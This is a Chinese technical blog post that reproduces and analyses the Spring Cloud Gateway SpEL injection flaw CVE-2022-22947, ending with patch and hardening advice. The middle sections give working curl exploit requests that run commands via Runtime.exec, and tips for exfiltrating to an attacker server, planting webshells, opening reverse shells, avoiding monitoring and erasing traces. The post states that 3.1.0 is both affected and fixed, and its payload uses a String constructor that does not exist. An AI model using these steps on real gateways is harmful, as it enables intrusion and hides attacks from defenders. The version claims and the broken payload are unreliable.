1. 项目概述与背景最近在整理内部安全审计的案例库翻到了去年一个挺典型的网关层漏洞利用记录就是Spring Cloud Gateway的那个SpEL表达式注入导致的远程代码执行CVE-2022-22947。这个漏洞在当时影响面不小因为Gateway作为微服务架构的流量入口一旦被攻破后果往往很严重。我记得当时很多团队连夜排查和升级网上也出现了各种复现文章但有些要么过于简略只给了个Payload要么环境搭建复杂劝退了不少想深入研究的人。今天我就结合自己当时的测试和后续的代码审计把这个漏洞从头到尾、掰开揉碎了讲清楚不仅告诉你“怎么打”更重点分析“为什么能这么打”以及在实际渗透测试或红队评估中如何快速识别和利用这类漏洞。无论你是安全研究员、开发工程师还是运维人员理解这个漏洞的原理和利用方式对于加固自己的网关服务或进行有效的安全测试都至关重要。简单来说CVE-2022-22947漏洞允许攻击者通过构造特定的HTTP请求在Spring Cloud Gateway应用上执行任意SpELSpring Expression Language表达式从而绕过安全限制最终实现远程命令执行。它的核心问题出在Gateway对路由Route的某些操作特别是通过/actuator/gateway/routes端点动态添加路由中对用户输入过滤不严导致恶意的SpEL表达式被解析执行。这个漏洞的利用门槛相对较低但危害极高因为它直接威胁到业务网关的安全。接下来我会从环境搭建、漏洞原理、手工复现、代码溯源到防御加固完整地走一遍这个流程。2. 漏洞原理深度剖析要真正理解这个漏洞不能只停留在“发送一个Payload就能RCE”的层面。我们需要深入到Spring Cloud Gateway的架构和SpEL表达式的工作机制中去。2.1 Spring Cloud Gateway 与 Actuator 端点Spring Cloud Gateway 是Spring官方推出的一个API网关基于WebFlux响应式编程模型构建。它核心的功能是路由转发、过滤器和负载均衡。为了方便运维和监控Spring Boot Actuator模块提供了大量生产就绪的特性比如健康检查、指标收集、环境信息查看等。Gateway也暴露了一些特定的Actuator端点来管理路由其中最关键的就是/actuator/gateway/routes。这个端点支持POST请求来动态地创建新的路由规则。其请求体是一个JSON结构描述了新路由的ID、目标URI、断言Predicates和过滤器Filters。漏洞的入口就藏在“过滤器”的配置里。当Gateway接收到创建路由的请求时它会将这个JSON配置反序列化为一个RouteDefinition对象并最终应用到网关的运行时路由表中。2.2 SpEL表达式注入的根源Spring Expression Language (SpEL) 是Spring框架提供的一种强大的表达式语言用于在运行时查询和操作对象图。它功能非常强大支持方法调用、访问属性、数学运算、逻辑判断等。在Spring生态中SpEL被广泛用于注解如Value、XML配置和Spring Security的权限表达式等。在Spring Cloud Gateway的早期版本受影响版本为 3.1.0 之前 和 3.0.0 至 3.0.6中存在一个设计上的安全隐患在将路由配置加载到应用上下文时会对某些配置值进行SpEL表达式解析。具体来说在RouteDefinitionRouteLocator类的loadGatewayFilters方法中当处理路由的过滤器配置时如果过滤器的参数值是以#{开头和}结尾Gateway会认为这是一个SpEL表达式并调用StandardEvaluationContext对其进行求值evaluate。这里就出现了第一个关键问题使用的StandardEvaluationContext是SpEL的“标准”求值上下文它拥有完整的权限可以执行任意代码包括调用Runtime.getRuntime().exec()这样的危险方法。与之相对的是SimpleEvaluationContext它被设计用于数据绑定等简单场景功能受限更为安全。第二个关键问题是用户可以通过POST/actuator/gateway/routes/{id}传入的过滤器参数最终会流入到这个解析流程中并且没有经过任何有效的过滤或沙箱处理。攻击者可以精心构造一个过滤器其参数值就是一个恶意的SpEL表达式当Gateway创建并激活这个路由时表达式就会被执行。2.3 漏洞触发的完整链条让我们把整个链条串起来攻击入口攻击者向目标Spring Cloud Gateway应用发送一个POST请求到/actuator/gateway/routes/{new_route_id}。恶意载荷请求体中包含一个恶意的路由定义其中在某个过滤器的参数里嵌入了SpEL表达式例如#{T(java.lang.Runtime).getRuntime().exec(\calc\)}。配置加载Gateway接收请求将JSON反序列化为RouteDefinition并开始加载这个路由。表达式解析在加载过滤器配置的阶段RouteDefinitionRouteLocator检测到参数值以#{开头便将其识别为SpEL表达式。危险求值使用权限过高的StandardEvaluationContext对该表达式进行求值。命令执行SpEL引擎执行了Runtime.getRuntime().exec(\calc\)成功在服务器上启动了计算器程序或其他任意命令完成RCE。注意Actuator端点默认可能不开启或者路径被修改。在实际测试中需要先进行信息收集确认/actuator/gateway/routes端点是否可访问。此外Spring Boot 2.x之后出于安全考虑除了/health和/info其他Actuator端点默认是不对外网暴露的需要显式配置management.endpoints.web.exposure.include*或gateway,health等。很多漏洞环境正是模拟了这种不安全配置。3. 漏洞复现环境搭建“工欲善其事必先利其器”。一个稳定、可控的复现环境是分析漏洞的基础。我不推荐直接在网上找不知名的Docker镜像或jar包最稳妥的方式是自己从源码构建一个存在漏洞的Gateway应用。3.1 环境与工具准备你需要准备以下工具JDK 8 或 11Spring Cloud Gateway 3.x 通常兼容JDK 8及以上。我测试时用的是JDK 11。Maven 3.6用于项目构建和依赖管理。IDE可选但推荐IntelliJ IDEA 或 VS Code方便查看和调试源码。HTTP请求工具curl、Postman 或 Burp Suite。Burp Suite在渗透测试中更常用可以方便地拦截和重放请求。网络环境确保你的测试机可以访问搭建的漏洞应用。3.2 创建漏洞版本Spring Cloud Gateway项目我们通过Spring Initializr来快速生成一个项目骨架然后手动修改依赖版本。生成项目访问 start.spring.io 选择Project: Maven ProjectLanguage: JavaSpring Boot:2.6.6(这是一个受影响的版本其对应的Spring Cloud版本为2021.0.1Gateway版本通常在3.1.0以下)Project Metadata: 按需填写Group、Artifact例如com.examplegateway-vuln-demo。Dependencies: 添加Gateway和Spring Boot Actuator。修改pom.xml锁定漏洞版本生成项目后解压并用IDE打开。我们需要确保Spring Cloud Gateway的版本是存在漏洞的。查看pom.xml中的Spring Cloud版本管理。在2.6.6的Boot版本下对应的Spring Cloud版本是2021.0.1。我们可以在properties标签内显式指定Gateway的版本或者直接使用这个Cloud版本它通常会引入有漏洞的Gateway。为了精确控制我们可以添加如下依赖管理如果父pom没指定dependencyManagement dependencies dependency groupIdorg.springframework.cloud/groupId artifactIdspring-cloud-dependencies/artifactId version2021.0.1/version !-- 此版本对应的spring-cloud-starter-gateway版本约为3.1.0以下 -- typepom/type scopeimport/scope /dependency /dependencies /dependencyManagement然后确认spring-cloud-starter-gateway的依赖。配置application.yml在src/main/resources/下创建application.yml写入以下关键配置以开启并暴露Actuator端点并设置一个简单的路由非必须但方便测试网关基本功能server: port: 8080 spring: application: name: gateway-vuln-demo cloud: gateway: routes: - id: default_route uri: https://httpbin.org predicates: - Path/get management: endpoints: web: exposure: include: * # 关键暴露所有Actuator端点包括/gateway/routes endpoint: gateway: enabled: true # 确保gateway端点启用重要安全提示management.endpoints.web.exposure.include“*”在生产环境中是极度危险的配置这相当于把系统的后门完全敞开。这里仅用于漏洞复现研究。编译与启动在项目根目录下执行mvn clean spring-boot:run。如果一切顺利控制台会输出Spring Boot的启动日志并在8080端口启动服务。3.3 环境验证启动后我们可以先进行简单的验证确保环境正常。访问http://localhost:8080/actuator应该能看到一个JSON列出了所有暴露的端点其中应包含gateway的链接。访问http://localhost:8080/actuator/gateway/routes应该能看到我们配置的default_route信息。访问http://localhost:8080/get网关应该能将请求转发到https://httpbin.org/get并返回结果。至此一个存在CVE-2022-22947漏洞的Spring Cloud Gateway测试环境就搭建完成了。4. 手工漏洞复现与利用现在进入最核心的部分如何利用这个漏洞。我们将完全通过手工发送HTTP请求来完成这有助于你理解漏洞利用的每一个细节。4.1 探测漏洞是否存在在发起攻击前我们需要确认目标是否存在漏洞点。主要检查两项Actuator端点是否暴露访问http://target:port/actuator或http://target:port/actuator/gateway/routes看是否返回JSON信息。如果返回404或401/403则可能端点未开启或需要认证漏洞可能无法直接利用。Gateway版本通过/actuator/info或应用启动日志如果可获取来判断Spring Cloud Gateway的版本。版本在 3.1.0 之前 和 3.0.0 至 3.0.6 的均受影响。4.2 构造恶意路由定义Payload漏洞利用的核心是向/actuator/gateway/routes/{id}发送一个POST请求其中{id}是你为这条恶意路由起的任意名字比如hack。请求体是一个JSON结构如下。关键点在于filters部分我们需要添加一个过滤器并在其参数中嵌入SpEL表达式。一个经典的用于命令执行的Payload构造如下{ id: hack, filters: [{ name: AddResponseHeader, args: { name: Result, value: #{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\whoami\).getInputStream())} } }], uri: http://example.com, predicates: [{ name: Path, args: { pattern: /hack/** } }] }让我们拆解这个Payloadid: 路由的唯一标识任意字符串。filters: 定义过滤器数组。这里使用了Gateway内置的AddResponseHeader过滤器它的作用是在响应头中添加一个字段。args:AddResponseHeader过滤器需要两个参数name头字段名和value头字段值。我们将恶意的SpEL表达式放在value中。SpEL表达式详解#{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\whoami\).getInputStream())}T(java.lang.Runtime).getRuntime(): SpEL中T()操作符用于指定类类型。这里获取了Runtime类的单例实例。.exec(\whoami\): 调用exec方法执行系统命令whoami在Windows上可换成calc或cmd /c dir。.getInputStream(): 获取命令执行进程的输出流。new java.lang.String(...): 将字节输入流转换为字符串。这一步很重要因为过滤器的value参数期望是一个字符串值。如果不转换表达式求值后可能是一个ProcessInputStream对象无法正常赋值可能导致错误而中断利用链。将其转为字符串后这个字符串即命令执行结果会被赋值给响应头Result的值。uri: 这个路由转发到的目标URI。这里可以填一个任意存在的地址如http://example.com因为我们的目的不是真的转发而是触发过滤器执行。predicates: 断言数组决定什么请求会匹配这个路由。这里使用Path断言匹配所有以/hack/开头的请求。这意味着我们稍后需要访问/hack/xxx来触发这个恶意路由。4.3 分步执行攻击利用过程分为三步添加恶意路由、刷新路由使其生效、触发路由执行命令。步骤一添加恶意路由使用curl或 Burp Suite 发送POST请求。curl -X POST http://localhost:8080/actuator/gateway/routes/hack \ -H Content-Type: application/json \ -d { id: hack, filters: [{ name: AddResponseHeader, args: { name: Result, value: #{new java.lang.String(T(java.lang.Runtime).getRuntime().exec(\whoami\).getInputStream())} } }], uri: http://example.com, predicates: [{ name: Path, args: { pattern: /hack/** } }] }如果成功服务器应返回201 Created状态码或者200 OK。步骤二刷新路由使新路由生效仅仅添加路由Gateway并不会立即加载它。需要显式触发刷新操作。curl -X POST http://localhost:8080/actuator/gateway/refresh发送一个POST请求到/actuator/gateway/refresh端点。成功后返回200 OK。步骤三触发恶意路由执行命令现在访问我们定义的恶意路由。根据上面的断言我们需要访问/hack/下的任何路径。curl http://localhost:8080/hack/test这个请求会匹配到我们创建的hack路由。Gateway会处理这个请求应用路由中定义的过滤器。在应用AddResponseHeader过滤器时它会尝试计算value参数中的SpEL表达式从而执行whoami命令。步骤四查看结果命令执行了但输出在哪里在我们的Payload里命令执行的结果被转换成了字符串并设置为响应头Result的值。因此我们需要查看上一步请求的响应头。curl -i http://localhost:8080/hack/test在返回的HTTP响应头中你应该能看到类似这样的一行Result: your-username这里的your-username就是whoami命令的执行结果证明RCE成功。4.4 利用技巧与变形命令执行无回显的处理上面的方法依赖于将结果输出到响应头。如果命令执行没有输出或者你想执行其他操作如反弹Shell就需要变通。使用curl或wget外带数据可以执行curl http://your-server.com/或wget http://your-server.com/来向你的监听服务器发起请求通过查询参数或路径携带信息。使用ping或sleep进行布尔盲注通过命令执行的时间延迟来判断是否成功。例如执行ping -c 10 127.0.0.1会造成10秒延迟。写入Web目录如果知道Web可写目录可以执行echo ?php phpinfo();? /tmp/shell.php之类的命令写入Webshell。使用其他过滤器AddResponseHeader只是其中一个可利用的过滤器。理论上任何接受参数且参数值会经过SpEL解析的过滤器都可能被利用。例如SetStatus、SetResponseHeader等。在漏洞修复的代码分析中我们可以看到补丁修复了多个过滤器。绕过可能的WAF或过滤如果对#{}有简单过滤可以尝试SpEL的其他表达式格式或编码。但核心漏洞点在于解析逻辑通常对表达式内容的过滤较少。实操心得在实际渗透测试中如果直接执行calc或touch /tmp/test这类有副作用的命令可能会被监控发现。更隐蔽的做法是先使用id、whoami、uname -a等命令进行信息收集确认权限和环境后再规划下一步行动。同时利用完成后务必清理痕迹删除添加的恶意路由DELETE /actuator/gateway/routes/hack并再次刷新。5. 漏洞代码溯源与补丁分析理解漏洞的代码级根源能让你更深刻地认识它并能在代码审计中快速识别同类问题。5.1 漏洞代码定位漏洞的核心位于spring-cloud-gateway-server模块的org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator类中。具体方法是loadGatewayFilters。我们来看一下简化版的漏洞代码逻辑基于漏洞版本private ListGatewayFilter loadGatewayFilters(String routeId, ListFilterDefinition filterDefinitions) { ListGatewayFilter filters new ArrayList(); for (FilterDefinition filterDefinition : filterDefinitions) { // 通过过滤器定义找到对应的过滤器工厂 GatewayFilterFactory? factory this.gatewayFilterFactories.get(filterDefinition.getName()); // 准备参数这里会调用一个 normalizeProperties 方法 MapString, Object args normalizeProperties(filterDefinition, factory); // 使用参数创建过滤器 GatewayFilter filter factory.apply(args); filters.add(filter); } return filters; }问题出在normalizeProperties方法或其调用的更深层方法中。它会处理过滤器参数args。在某个环节会对参数值进行判断如果值是一个字符串并且以#{开头、以}结尾则将其识别为SpEL表达式并调用this.beanFactory.getBean(SpelExpressionParser.class).parseExpression(rawValue).getValue(context)进行解析。而这里的context正是前面提到的、权限过大的StandardEvaluationContext。它允许表达式调用任何Java方法包括危险的Runtime.exec。5.2 官方补丁分析Spring官方在后续版本中修复了此漏洞。修复方式主要有两种通常结合使用替换求值上下文将StandardEvaluationContext替换为功能受限的SimpleEvaluationContext。SimpleEvaluationContext默认不支持方法调用、构造函数调用等危险操作从根本上限制了SpEL表达式的能力。禁用特定过滤器中的SpEL解析对于某些不必要支持复杂表达式的过滤器参数直接关闭其SpEL解析功能。例如在修复后的RouteDefinitionRouteLocator代码中你可能看到类似这样的改动// 修复后创建了一个受限的 EvaluationContext EvaluationContext context new SimpleEvaluationContext.Builder() .withRootObject(/* ... */) .build(); // 或者在某些过滤器工厂的 shortcutType 配置中明确指定不进行SpEL解析。如何检查你的项目是否已修复升级版本直接升级Spring Cloud Gateway到安全版本3.1.0 或 3.0.7是最可靠的方法。代码检查如果你无法升级可以检查项目中RouteDefinitionRouteLocator类的相关代码看是否使用了SimpleEvaluationContext。依赖检查运行mvn dependency:tree | findstr gateway或gradle dependencies确认spring-cloud-starter-gateway的版本。5.3 从漏洞中学到的代码审计思路这个漏洞给我们的代码审计提供了经典范本关注“动态”功能任何允许用户动态配置、并能影响程序行为的功能点都是高危审计对象如路由、规则、模板、脚本的配置。追踪用户输入从HTTP入口如Controller、Actuator端点开始追踪用户可控的数据流看它最终流向哪里。重点看是否流向了解释器如SpEL、OGNL、EL、JavaScript引擎、数据库SQL引擎等。检查解释器上下文当发现用户输入被某种解释器处理时立即检查使用的“上下文”Context或“沙箱”Sandbox是否安全。使用全功能上下文如StandardEvaluationContext、ScriptEngine未加限制是高风险信号。关注默认配置像Actuator端点这种强大的运维工具其默认暴露范围和安全配置需要格外留意。6. 漏洞防御与加固建议复现漏洞是为了更好地防御它。对于开发、运维和安全团队针对CVE-2022-22947及其同类漏洞可以采取以下措施6.1 立即缓解措施升级组件这是最根本的解决方案。将Spring Cloud Gateway升级到已修复的版本3.1.0 或 3.0.7。同时升级Spring Boot和Spring Cloud的BOM版本确保所有依赖兼容。禁用或保护Actuator端点如果不需要动态更新路由可以考虑完全禁用Gateway的Actuator端点。management.endpoint.gateway.enabledfalse如果确实需要则必须严格限制其访问网络层隔离确保管理端点/actuator/*仅在内网或通过VPN访问不暴露在公网。启用认证集成Spring Security为Actuator端点配置强身份验证和授权。例如只允许具有特定角色如ACTUATOR_ADMIN的用户访问。修改上下文路径通过management.endpoints.web.base-path/manage修改默认路径增加攻击者探测难度。精细化暴露不要使用include‘*’。只暴露必要的端点例如health, info, metrics。management.endpoints.web.exposure.includehealth,info,metrics6.2 长期安全加固最小权限原则运行Spring Cloud Gateway的应用程序账户在操作系统层面应遵循最小权限原则避免使用root或高权限账户运行。这样即使被RCE攻击者获得的权限也有限。网络分层与WAF在网关前方部署WAFWeb应用防火墙可以拦截一些已知攻击模式的恶意请求。同时做好网络分区将网关部署在DMZ区域严格限制其向后端服务发起的连接。安全开发生命周期SDL在开发阶段就引入安全考量。代码审计定期对自定义的过滤器、断言等组件进行代码安全审计检查是否存在不安全的反序列化、表达式注入等问题。依赖扫描使用OWASP Dependency-Check、Snyk等工具持续扫描项目依赖及时发现并修复包含已知漏洞的第三方库。安全配置检查清单将安全配置如Actuator暴露范围、加密算法、会话设置等纳入部署检查清单。监控与告警异常路由监控监控Gateway中路由规则的异常变化特别是通过API动态添加的路由。命令执行监控在服务器层面监控异常的进程创建行为尤其是由Java应用发起的Runtime.exec或ProcessBuilder调用。日志审计确保Gateway和应用的访问日志、错误日志被完整收集和分析设置针对可疑请求如频繁访问/actuator/gateway/routes的告警规则。6.3 针对开发者的建议如果你正在基于Spring Cloud Gateway进行二次开发或编写自定义过滤器谨慎处理用户输入在自定义过滤器的参数解析中避免直接将用户输入传递给解释器。使用安全的上下文如果必须使用SpEL务必使用SimpleEvaluationContext并仔细配置其允许的操作范围。进行输入验证与过滤对用户输入进行严格的白名单验证只允许预期的字符和格式。查阅官方安全公告关注Spring官方安全公告页面及时获取组件漏洞信息。7. 拓展思考与同类漏洞关联CVE-2022-22947不是一个孤立的案例它是“表达式注入”漏洞家族中的一个典型代表。理解它有助于我们举一反三。SpEL注入的历史Spring框架历史上出现过多次SpEL注入漏洞例如在Spring Data Commons (CVE-2018-1273)、Spring Security OAuth (CVE-2016-4977) 中都有出现。它们的模式高度相似用户输入可控并最终流入到使用StandardEvaluationContext的SpEL解析流程中。其他表达式语言注入其他模板或表达式语言也存在类似问题如OGNL注入Apache Struts2 系列漏洞如S2-045, S2-059的常客。EL注入Java EE中的Expression Language注入。Freemarker/SSTI服务端模板注入如某些CMS或框架未对模板变量进行过滤。漏洞利用的共性这类漏洞的利用链通常为找到用户输入点 - 输入流入表达式解析器 - 解析器上下文权限过高 - 构造表达式实现RCE或敏感信息读取。在审计和防御时可以沿着这条链进行思考和检查。云原生环境下的特殊性在Kubernetes环境中Spring Cloud Gateway可能作为Ingress Controller或Sidecar运行。一旦被攻破攻击者可能利用容器服务账户的权限进一步攻击集群内部网络或其他服务造成“横向移动”。因此在云原生环境下除了修复应用漏洞还需结合Pod安全策略、网络策略等进行纵深防御。回过头看CVE-2022-22947的复现过程并不复杂但背后涉及到的框架机制、安全理念和防御思路却非常丰富。从漏洞复现中我们学到的不仅仅是一个攻击Payload更是一种发现和解决问题的安全思维方式。对于开发者它提醒我们默认安全配置的重要性对于安全人员它提供了一个从黑盒测试到白盒代码审计的完整范例。在微服务和云原生架构普及的今天网关安全的重要性不言而喻希望这篇详细的复现与分析能为大家的工作带来一些切实的帮助。